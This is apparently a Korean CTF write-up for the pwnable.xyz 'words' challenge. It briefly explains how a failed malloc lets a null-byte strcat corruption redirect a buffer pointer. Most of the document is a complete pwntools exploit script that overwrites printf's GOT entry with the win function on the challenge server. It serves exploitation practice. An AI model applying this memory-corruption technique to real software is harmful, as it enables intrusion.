pwn/pwnable.xyz

pwnable.xyz / words

lok2h4rd 2022. 5. 25. 19:59

mitigation
save_progress()

save_progress() 함수에서 buf가 비어있고 malloc의 반환 값이 0이 되면 reserve의 주소를 buf에 저장하고 reserve에 값을 저장한다 이를 통해 이후에 해당 함수를 호출할 경우 데이터를 쓰면 reserve에 들어가게 된다

이후에 strcat을 통해 buf의 하위 1byte를 널 바이트로 변조한 뒤 buf영역을 got주소를 주어서 win함수로 덮었다

 

from pwn import * 
context.log_level = "debug"

p = remote("svc.pwnable.xyz", 30036)
#p = process("./words")

def num(num1, num2):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"> ")
    p.sendline(str(num1))
    p.recvuntil(b"> ")
    p.sendline(str(num2))

def handle(num):
    p.recvuntil(b"> ")
    p.sendline(b"3")
    p.recvuntil(b"> ")
    p.sendline(str(num))
    p.recvuntil(b"> ")
    p.sendline(b"6")

def save_buf(data):
    p.recvuntil(b"> ") 
    p.sendline(b"5")
    p.send(data)

def save_reserve(data):
    p.recvuntil(b"> ")
    p.sendline(b"5")
    p.recvuntil(b"Size: ")
    p.sendline(b"-1")
    p.sendline(data)

win = 0x4008e8
printf_got = 0x610b28

save_reserve(b"AAA")
num(3, 4) # 68
 
for i in range(4):
    handle(3)

handle(1)

payload = b"A" * 0xa0
payload += p64(printf_got)
save_buf(payload)

save_buf(p64(win)) 
p.interactive()